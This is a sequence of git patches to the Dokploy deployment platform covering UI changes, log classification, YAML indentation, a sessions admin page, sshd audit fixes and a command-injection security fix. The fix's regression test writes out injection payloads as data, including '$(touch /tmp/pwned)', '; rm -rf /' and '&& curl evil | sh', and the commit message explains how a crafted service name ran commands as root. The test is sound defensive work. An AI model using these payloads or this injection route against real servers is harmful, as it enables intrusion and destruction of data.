@@ -149,6 +149,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
+ enabled: true,
};
const baseRedirect: Redirect = {
From e2bbbc86d842792a5f63cdffdf58f08a1071e5e5 Mon Sep 17 00:00:00 2001
From: Vyacheslav Scherbinin
Date: Mon, 13 Jul 2026 18:16:40 +0700
Subject: [PATCH 040/419] refactor(domains): remove duplicate switch labels
---
.../components/dashboard/application/domains/columns.tsx | 5 +----
.../dashboard/application/domains/show-domains.tsx | 5 +----
2 files changed, 2 insertions(+), 8 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/domains/columns.tsx b/apps/dokploy/components/dashboard/application/domains/columns.tsx
index 0c3defe14..4dcd77c8e 100644
--- a/apps/dokploy/components/dashboard/application/domains/columns.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/columns.tsx
@@ -265,15 +265,12 @@ export const createColumns = ({
);
}
return (
-
+
handleToggleEnable(domain.domainId)}
disabled={isToggling}
/>
-
- {domain.enabled ? "Enabled" : "Disabled"}
-
);
},
diff --git a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
index f4556340a..475250970 100644
--- a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
@@ -531,7 +531,7 @@ export const ShowDomains = ({ id, type }: Props) => {
-
+
@@ -539,9 +539,6 @@ export const ShowDomains = ({ id, type }: Props) => {
}
disabled={isToggling}
/>
-
- {item.enabled ? "Enabled" : "Disabled"}
-
From 012d9596b21fb1032a21440d27d3218660dcfa04 Mon Sep 17 00:00:00 2001
From: techdawnarea
Date: Tue, 14 Jul 2026 00:24:00 +0530
Subject: [PATCH 041/419] MariaDB svg color updated: in Dark theme its not
visible properly
---
apps/dokploy/components/icons/data-tools-icons.tsx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx
index b828052a0..7a0d680aa 100644
--- a/apps/dokploy/components/icons/data-tools-icons.tsx
+++ b/apps/dokploy/components/icons/data-tools-icons.tsx
@@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => {
>
);
From faf600bd88e1293cbe73f91138de707bc7746fa1 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Tue, 14 Jul 2026 11:37:21 -0600
Subject: [PATCH 042/419] fix(logs): don't classify explicit non-error
key/values as error
Lines like 'failed: false, error: none' (e.g. ofelia job summaries for
successful runs) were rendered red because the error patterns matched
the key regardless of its value. Strip key/value pairs whose value
explicitly reports a non-error before running the error keyword
patterns.
Fixes #4538
---
.../__test__/logs/log-classification.test.ts | 33 +++++++++++++++++++
.../components/dashboard/docker/logs/utils.ts | 26 +++++++++------
2 files changed, 49 insertions(+), 10 deletions(-)
create mode 100644 apps/dokploy/__test__/logs/log-classification.test.ts
diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts
new file mode 100644
index 000000000..92689558a
--- /dev/null
+++ b/apps/dokploy/__test__/logs/log-classification.test.ts
@@ -0,0 +1,33 @@
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+import { expect, test } from "vitest";
+
+test("classifies real failures as error", () => {
+ expect(getLogType("Error: connection refused at db:5432").type).toBe(
+ "error",
+ );
+ expect(getLogType("[ERROR] something went wrong").type).toBe("error");
+ expect(getLogType("Deployment failed").type).toBe("error");
+ expect(
+ getLogType(
+ 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
+ ).type,
+ ).toBe("error");
+});
+
+test("does not classify explicit non-error key/values as error (#4538)", () => {
+ // ofelia job-completion summary for a successful run
+ expect(
+ getLogType(
+ 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
+ ).type,
+ ).not.toBe("error");
+
+ expect(getLogType("request done, error: null").type).not.toBe("error");
+ expect(getLogType("checks passed, failures=0").type).not.toBe("error");
+ expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
+});
+
+test("keeps statusCode-based classification", () => {
+ expect(getLogType('{"statusCode": "500"}').type).toBe("error");
+ expect(getLogType('{"statusCode": "204"}').type).toBe("success");
+});
diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts
index 01c68e49a..1624a3828 100644
--- a/apps/dokploy/components/dashboard/docker/logs/utils.ts
+++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts
@@ -97,17 +97,23 @@ export const getLogType = (message: string): LogStyle => {
return LOG_STYLES.info;
}
+ // Key/value pairs that explicitly report a non-error (e.g. "error: none",
+ // "failed: false") must not trigger the error keyword patterns below
+ const nonErrorKeyValues =
+ /\b(?:error|err|errors|failed|failure|failures)s?\s*[:=]\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
+ const errorScope = lowerMessage.replace(nonErrorKeyValues, "");
+
if (
- /(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
- /\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
- /(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
- /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
- /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
- /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
- /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
- /\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
- /\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
- /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
+ /(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
+ /\b(?:exception|failed|failure)\b/i.test(errorScope) ||
+ /(?:stack\s?trace):\s*$/i.test(errorScope) ||
+ /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
+ /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
+ /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
+ /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
+ /\[(?:error|err|fatal)\]/i.test(errorScope) ||
+ /\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
+ /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
) {
return LOG_STYLES.error;
}
From c9817da45b57da72f520c3bd4ae14cc0ec8fe993 Mon Sep 17 00:00:00 2001
From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com>
Date: Tue, 14 Jul 2026 17:37:53 +0000
Subject: [PATCH 043/419] [autofix.ci] apply automated fixes
---
apps/dokploy/__test__/logs/log-classification.test.ts | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts
index 92689558a..6f04f491a 100644
--- a/apps/dokploy/__test__/logs/log-classification.test.ts
+++ b/apps/dokploy/__test__/logs/log-classification.test.ts
@@ -2,9 +2,7 @@ import { getLogType } from "@/components/dashboard/docker/logs/utils";
import { expect, test } from "vitest";
test("classifies real failures as error", () => {
- expect(getLogType("Error: connection refused at db:5432").type).toBe(
- "error",
- );
+ expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
expect(getLogType("Deployment failed").type).toBe("error");
expect(
From 7ca96f6087741e928261547725512dfaceae26e6 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Tue, 14 Jul 2026 11:57:12 -0600
Subject: [PATCH 044/419] fix(editor): consistent YAML auto-indent on newline
The indentNodeProp from @codemirror/lang-yaml computes column-based
indents that produce inconsistent and odd-numbered indentation when
pressing Enter (e.g. 9 spaces after a nested 'web:' line, 6 after a
4-space 'image:' line). Override it with a line-based indentService:
keep the current line's indent, align list-entry keys after the dash
marker, and indent one unit deeper after lines opening a block
(':', '|', '>').
Fixes #4650
---
.../dokploy/components/shared/code-editor.tsx | 29 +++++++++++++++++--
1 file changed, 27 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/shared/code-editor.tsx b/apps/dokploy/components/shared/code-editor.tsx
index f0347da60..7bdb644e3 100644
--- a/apps/dokploy/components/shared/code-editor.tsx
+++ b/apps/dokploy/components/shared/code-editor.tsx
@@ -7,7 +7,11 @@ import {
import { css } from "@codemirror/lang-css";
import { json } from "@codemirror/lang-json";
import { yaml } from "@codemirror/lang-yaml";
-import { StreamLanguage } from "@codemirror/language";
+import {
+ getIndentUnit,
+ indentService,
+ StreamLanguage,
+} from "@codemirror/language";
import { properties } from "@codemirror/legacy-modes/mode/properties";
import { shell } from "@codemirror/legacy-modes/mode/shell";
import { search, searchKeymap } from "@codemirror/search";
@@ -98,6 +102,27 @@ const dockerComposeServiceOptions = [
},
}));
+// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong
+// column-based indents on Enter (odd/inconsistent amounts, see #4650), so
+// indentation is resolved line-based here: keep the current indent, align
+// list-entry keys after the dash marker, and go one unit deeper after a
+// line that opens a block (ending in ":", "|" or ">").
+const yamlIndent = indentService.of((context, pos) => {
+ const line = context.state.doc.lineAt(pos);
+ const before = context.state.doc.sliceString(line.from, pos);
+ const indent = /^ */.exec(before)?.[0].length ?? 0;
+ const trimmed = before.trim();
+ if (!trimmed || trimmed.startsWith("#")) {
+ return indent;
+ }
+ const base =
+ trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent;
+ if (/[:|>]$/.test(trimmed)) {
+ return base + getIndentUnit(context.state);
+ }
+ return base;
+});
+
function dockerComposeComplete(
context: CompletionContext,
): CompletionResult | null {
@@ -160,7 +185,7 @@ export const CodeEditor = ({
search(),
keymap.of(searchKeymap),
language === "yaml"
- ? yaml()
+ ? [yamlIndent, yaml()]
: language === "json"
? json()
: language === "css"
From 7728e5ea9eae130f69c0d52e77f6979663ef1d95 Mon Sep 17 00:00:00 2001
From: Danilo Neto
Date: Fri, 17 Jul 2026 13:48:54 +0000
Subject: [PATCH 045/419] feat: add session management page (list active
sessions + revoke)
Add a new settings page under Settings > Sessions that shows all active
and expired login sessions with user info, IP address, device, and an
option to revoke (force logout) any session.
Backend:
- listSessions: adminProcedure that returns sessions joined with user
data, ordered by creation date
- revokeSession: adminProcedure that deletes a session by ID (blocks
self-revocation)
Frontend:
- New /dashboard/settings/sessions page with ShowSessions component
- Sessions table with user, IP, device, timestamps, and revoke action
- Sidebar link under Users (gated by member.read permission)
Tests:
- Input validation tests for revokeSession schema
---
.../__test__/api/session-management.test.ts | 23 ++
.../settings/sessions/show-sessions.tsx | 206 ++++++++++++++++++
apps/dokploy/components/layouts/side.tsx | 7 +
.../pages/dashboard/settings/sessions.tsx | 82 +++++++
apps/dokploy/server/api/routers/user.ts | 46 +++-
5 files changed, 363 insertions(+), 1 deletion(-)
create mode 100644 apps/dokploy/__test__/api/session-management.test.ts
create mode 100644 apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx
create mode 100644 apps/dokploy/pages/dashboard/settings/sessions.tsx
diff --git a/apps/dokploy/__test__/api/session-management.test.ts b/apps/dokploy/__test__/api/session-management.test.ts
new file mode 100644
index 000000000..48f7eb257
--- /dev/null
+++ b/apps/dokploy/__test__/api/session-management.test.ts
@@ -0,0 +1,23 @@
+import { describe, expect, it } from "vitest";
+import { z } from "zod";
+
+const revokeSessionSchema = z.object({
+ sessionId: z.string(),
+});
+
+describe("revokeSession input validation", () => {
+ it("accepts a valid session id", () => {
+ const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
+ expect(result.success).toBe(true);
+ });
+
+ it("rejects missing sessionId", () => {
+ const result = revokeSessionSchema.safeParse({});
+ expect(result.success).toBe(false);
+ });
+
+ it("rejects non-string sessionId", () => {
+ const result = revokeSessionSchema.safeParse({ sessionId: 123 });
+ expect(result.success).toBe(false);
+ });
+});
diff --git a/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx b/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx
new file mode 100644
index 000000000..35c174dbb
--- /dev/null
+++ b/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx
@@ -0,0 +1,206 @@
+import { format } from "date-fns";
+import { Loader2, LogOut, Smartphone } from "lucide-react";
+import { toast } from "sonner";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+ Card,
+ CardContent,
+ CardDescription,
+ CardHeader,
+ CardTitle,
+} from "@/components/ui/card";
+import {
+ Table,
+ TableBody,
+ TableCell,
+ TableHead,
+ TableHeader,
+ TableRow,
+} from "@/components/ui/table";
+import { api } from "@/utils/api";
+import { DialogAction } from "@/components/shared/dialog-action";
+
+export const ShowSessions = () => {
+ const { data: sessions, isPending, refetch } =
+ api.user.listSessions.useQuery();
+ const { mutateAsync: revoke, isPending: isRevoking } =
+ api.user.revokeSession.useMutation();
+
+ const handleRevoke = async (sessionId: string) => {
+ try {
+ await revoke({ sessionId });
+ toast.success("Session revoked successfully");
+ refetch();
+ } catch (err) {
+ toast.error(
+ err instanceof Error ? err.message : "Failed to revoke session",
+ );
+ }
+ };
+
+ const activeSessions = sessions?.filter(
+ (s) => new Date(s.expiresAt) > new Date(),
+ );
+ const expiredSessions = sessions?.filter(
+ (s) => new Date(s.expiresAt) <= new Date(),
+ );
+
+ return (
+
+
+
+
+
+
+ Sessions
+
+
+ Manage active user sessions. Revoke sessions to force logout.
+
+
+
+ {isPending ? (
+
+ Loading...
+
+
+ ) : !sessions || sessions.length === 0 ? (
+
+
+
+ No sessions found
+
+
+ ) : (
+ <>
+ {activeSessions && activeSessions.length > 0 && (
+
+
+ Active Sessions ({activeSessions.length})
+
+
+
+ )}
+ {expiredSessions && expiredSessions.length > 0 && (
+
+
+ Expired Sessions ({expiredSessions.length})
+
+
+
+ )}
+ >
+ )}
+
+
+
+
+ );
+};
+
+type SessionRow = {
+ id: string;
+ email: string;
+ firstName: string | null;
+ lastName: string | null;
+ ipAddress: string | null;
+ userAgent: string | null;
+ createdAt: Date;
+ expiresAt: Date;
+ isCurrent: boolean;
+ userId: string;
+};
+
+const SessionTable = ({
+ sessions,
+ onRevoke,
+ isRevoking,
+}: {
+ sessions: SessionRow[];
+ onRevoke: (id: string) => void;
+ isRevoking: boolean;
+}) => (
+
+
+
+ User
+ IP Address
+ Device
+ Active Since
+ Expires
+ Actions
+
+
+
+ {sessions.map((s) => (
+
+
+
+
+ {s.firstName} {s.lastName}
+
+ ({s.email})
+ {s.isCurrent && (
+
+ Current
+
+ )}
+
+
+
+ {s.ipAddress || "-"}
+
+
+ {s.userAgent
+ ? parseUserAgent(s.userAgent)
+ : "-"}
+
+
+ {format(new Date(s.createdAt), "MMM d, HH:mm")}
+
+
+ {format(new Date(s.expiresAt), "MMM d, HH:mm")}
+
+
+ {!s.isCurrent && (
+ onRevoke(s.id)}
+ >
+
+
+
+
+ )}
+
+
+ ))}
+
+
+);
+
+/** ponyta: parse UA just enough to show OS + browser, no lib needed */
+function parseUserAgent(ua: string): string {
+ if (ua.includes("Chrome/") && !ua.includes("Edg/")) return "Chrome";
+ if (ua.includes("Edg/")) return "Edge";
+ if (ua.includes("Firefox/")) return "Firefox";
+ if (ua.includes("Safari/") && !ua.includes("Chrome/")) return "Safari";
+ if (ua.includes("curl/") || ua.includes("wget/")) return "CLI";
+ return ua.slice(0, 40) + (ua.length > 40 ? "..." : "");
+}
diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx
index 6763898e8..1af9033de 100644
--- a/apps/dokploy/components/layouts/side.tsx
+++ b/apps/dokploy/components/layouts/side.tsx
@@ -315,6 +315,13 @@ const MENU: Menu = {
// Only enabled for users with member.read permission
isEnabled: ({ permissions }) => !!permissions?.member.read,
},
+ {
+ isSingle: true,
+ title: "Sessions",
+ icon: LogIn,
+ url: "/dashboard/settings/sessions",
+ isEnabled: ({ permissions }) => !!permissions?.member.read,
+ },
{
isSingle: true,
title: "Audit Logs",
diff --git a/apps/dokploy/pages/dashboard/settings/sessions.tsx b/apps/dokploy/pages/dashboard/settings/sessions.tsx
new file mode 100644
index 000000000..d777ff67c
--- /dev/null
+++ b/apps/dokploy/pages/dashboard/settings/sessions.tsx
@@ -0,0 +1,82 @@
+import { validateRequest } from "@dokploy/server";
+import { createServerSideHelpers } from "@trpc/react-query/server";
+import type { GetServerSidePropsContext } from "next";
+import type { ReactElement } from "react";
+import superjson from "superjson";
+import { ShowSessions } from "@/components/dashboard/settings/sessions/show-sessions";
+import { DashboardLayout } from "@/components/layouts/dashboard-layout";
+import { appRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+const Page = () => {
+ const { data: permissions } = api.user.getPermissions.useQuery();
+
+ if (!permissions?.member.read) {
+ return null;
+ }
+
+ return (
+
+
+
+ );
+};
+
+export default Page;
+
+Page.getLayout = (page: ReactElement) => {
+ return {page} ;
+};
+
+export async function getServerSideProps(
+ ctx: GetServerSidePropsContext<{ serviceId: string }>,
+) {
+ const { req, res } = ctx;
+ const { user, session } = await validateRequest(req);
+
+ if (!user) {
+ return {
+ redirect: {
+ permanent: false,
+ destination: "/",
+ },
+ };
+ }
+
+ const helpers = createServerSideHelpers({
+ router: appRouter,
+ ctx: {
+ req: req as any,
+ res: res as any,
+ db: null as any,
+ session: session as any,
+ user: user as any,
+ },
+ transformer: superjson,
+ });
+
+ try {
+ await helpers.user.get.prefetch();
+
+ const userPermissions = await helpers.user.getPermissions.fetch();
+
+ if (!userPermissions?.member.read) {
+ return {
+ redirect: {
+ permanent: false,
+ destination: "/",
+ },
+ };
+ }
+
+ return {
+ props: {
+ trpcState: helpers.dehydrate(),
+ },
+ };
+ } catch {
+ return {
+ props: {},
+ };
+ }
+}
diff --git a/apps/dokploy/server/api/routers/user.ts b/apps/dokploy/server/api/routers/user.ts
index b4782b1d2..e8a8508ad 100644
--- a/apps/dokploy/server/api/routers/user.ts
+++ b/apps/dokploy/server/api/routers/user.ts
@@ -33,7 +33,7 @@ import {
import { hasValidLicense } from "@dokploy/server/services/proprietary/license-key";
import { TRPCError } from "@trpc/server";
import * as bcrypt from "bcrypt";
-import { and, asc, eq, gt, ne } from "drizzle-orm";
+import { and, asc, desc, eq, gt, ne } from "drizzle-orm";
import { z } from "zod";
import { apiKeyNameSchema } from "@/lib/api-keys";
import { audit } from "@/server/api/utils/audit";
@@ -282,6 +282,50 @@ export const userRouter = createTRPCRouter({
});
}
}),
+ listSessions: adminProcedure.query(async ({ ctx }) => {
+ const sessions = await db
+ .select({
+ id: session.id,
+ userId: session.userId,
+ email: user.email,
+ firstName: user.firstName,
+ lastName: user.lastName,
+ ipAddress: session.ipAddress,
+ userAgent: session.userAgent,
+ createdAt: session.createdAt,
+ expiresAt: session.expiresAt,
+ isCurrent: eq(session.id, ctx.session.id),
+ })
+ .from(session)
+ .innerJoin(user, eq(session.userId, user.id))
+ .orderBy(desc(session.createdAt));
+ return sessions;
+ }),
+ revokeSession: adminProcedure
+ .input(
+ z.object({
+ sessionId: z.string(),
+ }),
+ )
+ .mutation(async ({ input, ctx }) => {
+ const targetSession = await db.query.session.findFirst({
+ where: eq(session.id, input.sessionId),
+ });
+ if (!targetSession) {
+ throw new TRPCError({
+ code: "NOT_FOUND",
+ message: "Session not found",
+ });
+ }
+ if (targetSession.id === ctx.session.id) {
+ throw new TRPCError({
+ code: "BAD_REQUEST",
+ message: "Cannot revoke your own session. Use logout instead.",
+ });
+ }
+ await db.delete(session).where(eq(session.id, input.sessionId));
+ return true;
+ }),
getUserByToken: publicProcedure
.input(apiFindOneToken)
.query(async ({ input }) => {
From a83b2026f64a6bb6ed8e0825d687fa19cb6dbda8 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Mon, 20 Jul 2026 16:01:47 -0600
Subject: [PATCH 046/419] fix(security): escape compose domain error message to
prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
---
.../compose/domain-command-injection.test.ts | 67 +++++++++++++++++++
packages/server/src/utils/docker/domain.ts | 8 ++-
2 files changed, 73 insertions(+), 2 deletions(-)
create mode 100644 apps/dokploy/__test__/compose/domain-command-injection.test.ts
diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts
new file mode 100644
index 000000000..a4132063d
--- /dev/null
+++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts
@@ -0,0 +1,67 @@
+import { parse } from "shell-quote";
+import { describe, expect, it, vi } from "vitest";
+
+// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
+// "exists" but does not contain the attacker's service, forcing the error path
+// whose message embeds the user-controlled serviceName.
+vi.mock("node:fs", async (importOriginal) => {
+ const actual = await importOriginal();
+ return {
+ ...actual,
+ existsSync: () => true,
+ readFileSync: () => "services:\n web:\n image: nginx\n",
+ };
+});
+
+import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
+
+const baseCompose = {
+ appName: "my-app",
+ serverId: null,
+ composeType: "docker-compose",
+ sourceType: "raw",
+ composePath: "docker-compose.yml",
+ isolatedDeployment: false,
+ randomize: false,
+ suffix: "",
+} as any;
+
+const makeDomain = (serviceName: string) =>
+ ({
+ host: "example.com",
+ serviceName,
+ https: false,
+ uniqueConfigKey: 1,
+ port: 3000,
+ }) as any;
+
+// If the returned shell fragment is safe, parse() yields only string tokens.
+// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
+const leaksShellSyntax = (command: string, marker: string) =>
+ parse(command).some(
+ (t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+ );
+
+describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
+ it("does not let a malicious serviceName inject shell operators", async () => {
+ const result = await writeDomainsToCompose(baseCompose, [
+ makeDomain("$(touch /tmp/pwned)"),
+ ]);
+
+ // The service does not exist in the compose, so we hit the error branch.
+ expect(result).toContain("Has occurred an error");
+ expect(leaksShellSyntax(result, "touch")).toBe(false);
+ expect(result).not.toContain("$(touch");
+ });
+
+ it("neutralizes backtick and semicolon payloads too", async () => {
+ for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
+ const result = await writeDomainsToCompose(baseCompose, [
+ makeDomain(`svc${payload}`),
+ ]);
+ expect(leaksShellSyntax(result, "rm")).toBe(false);
+ expect(leaksShellSyntax(result, "curl")).toBe(false);
+ expect(leaksShellSyntax(result, "id")).toBe(false);
+ }
+ });
+});
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 8094f1df2..b7af2d2cc 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -3,6 +3,7 @@ import { join } from "node:path";
import { paths } from "@dokploy/server/constants";
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
+import { quote } from "shell-quote";
import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -125,8 +126,11 @@ exit 1;
const encodedContent = encodeBase64(composeString);
return `echo "${encodedContent}" | base64 -d > "${path}";`;
} catch (error) {
- // @ts-ignore
- return `echo "❌ Has occurred an error: ${error?.message || error}";
+ const message =
+ error instanceof Error ? error.message : String(error ?? "");
+ // The error message embeds user-controlled fields (e.g. serviceName) and is
+ // executed as part of the compose build shell script, so it must be escaped.
+ return `echo ${quote([`❌ Has occurred an error: ${message}`])};
exit 1;
`;
}
From 35c30a1210d06d296ca9685823b54f956301d6f7 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Mon, 20 Jul 2026 16:07:11 -0600
Subject: [PATCH 047/419] test: assert domain payload never parses as a shell
operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
---
apps/dokploy/__test__/compose/domain-command-injection.test.ts | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts
index a4132063d..24f129c58 100644
--- a/apps/dokploy/__test__/compose/domain-command-injection.test.ts
+++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts
@@ -50,8 +50,9 @@ describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", (
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
+ // The payload text may appear inside the single-quoted echo argument, but
+ // it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
- expect(result).not.toContain("$(touch");
});
it("neutralizes backtick and semicolon payloads too", async () => {
From 09ea766fb512a556d92d85c239656f10c4de23df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rn=20Bungartz?=
Date: Tue, 21 Jul 2026 18:35:16 -0600
Subject: [PATCH 048/419] fix(server): sanitize sshd config values in security
audit JSON output
Duplicate directives in sshd_config (e.g. two active PermitRootLogin
lines from Match blocks or provisioning scripts) made the grep|awk
captures multi-line. The embedded newline ended up inside a JSON string
literal, so JSON.parse failed with "Bad control character in string
literal" and the Security tab showed a red banner plus default values.
Take the first match (mirroring sshd's first-match-wins semantics) and
strip carriage returns from CRLF-edited configs.
---
packages/server/src/setup/server-audit.ts | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/packages/server/src/setup/server-audit.ts b/packages/server/src/setup/server-audit.ts
index 21d61cc83..b3e7c1551 100644
--- a/packages/server/src/setup/server-audit.ts
+++ b/packages/server/src/setup/server-audit.ts
@@ -6,7 +6,7 @@ const validateUfw = () => `
if command -v ufw >/dev/null 2>&1; then
isInstalled=true
isActive=$(sudo ufw status | grep -q "Status: active" && echo true || echo false)
- defaultIncoming=$(sudo ufw status verbose | grep "Default:" | grep "incoming" | awk '{print $2}')
+ defaultIncoming=$(sudo ufw status verbose | grep "Default:" | grep "incoming" | awk '{print $2}' | head -n1 | tr -d '\\r')
echo "{\\"installed\\": $isInstalled, \\"active\\": $isActive, \\"defaultIncoming\\": \\"$defaultIncoming\\"}"
else
echo "{\\"installed\\": false, \\"active\\": false, \\"defaultIncoming\\": \\"unknown\\"}"
@@ -27,7 +27,7 @@ const validateSsh = () => `
# Check for key authentication
# SSH key auth is enabled by default unless explicitly disabled
- pubkey_line=$(sudo grep -i "^PubkeyAuthentication" "$sshd_config" 2>/dev/null | grep -v "#")
+ pubkey_line=$(sudo grep -i "^PubkeyAuthentication" "$sshd_config" 2>/dev/null | grep -v "#" | head -n1)
if [ -z "$pubkey_line" ] || echo "$pubkey_line" | grep -q -i "yes"; then
keyAuth=true
else
@@ -36,21 +36,21 @@ const validateSsh = () => `
# Get the exact PermitRootLogin value from config
# This preserves values like "prohibit-password" without normalization
- permitRootLogin=$(sudo grep -i "^PermitRootLogin" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}')
+ permitRootLogin=$(sudo grep -i "^PermitRootLogin" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}' | head -n1 | tr -d '\\r')
if [ -z "$permitRootLogin" ]; then
# Default is prohibit-password in newer versions
permitRootLogin="prohibit-password"
fi
# Get the exact PasswordAuthentication value from config
- passwordAuth=$(sudo grep -i "^PasswordAuthentication" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}')
+ passwordAuth=$(sudo grep -i "^PasswordAuthentication" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}' | head -n1 | tr -d '\\r')
if [ -z "$passwordAuth" ]; then
# Default is yes
passwordAuth="yes"
fi
# Get the exact UsePAM value from config
- usePam=$(sudo grep -i "^UsePAM" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}')
+ usePam=$(sudo grep -i "^UsePAM" "$sshd_config" 2>/dev/null | grep -v "#" | awk '{print $2}' | head -n1 | tr -d '\\r')
if [ -z "$usePam" ]; then
# Default is yes in most distros
usePam="yes"
From 60112d84a5792716b183b3aba2d2840cbdb54134 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Mon, 3 Aug 2026 04:24:02 -0600
Subject: [PATCH 049/419] fix(logs): require complete no-error values in colon
pairs
---
apps/dokploy/__test__/logs/log-classification.test.ts | 11 +++++++++++
.../dokploy/components/dashboard/docker/logs/utils.ts | 10 +++++++---
2 files changed, 18 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts
index 6f04f491a..d97d76a29 100644
--- a/apps/dokploy/__test__/logs/log-classification.test.ts
+++ b/apps/dokploy/__test__/logs/log-classification.test.ts
@@ -23,6 +23,17 @@ test("does not classify explicit non-error key/values as error (#4538)", () => {
expect(getLogType("request done, error: null").type).not.toBe("error");
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
+ expect(getLogType('job done failed=false error=""').type).not.toBe("error");
+});
+
+test("keeps errors whose value merely starts with a no-error word", () => {
+ expect(getLogType("connect failed: no route to host").type).toBe("error");
+ expect(getLogType("connection failed: no such host").type).toBe("error");
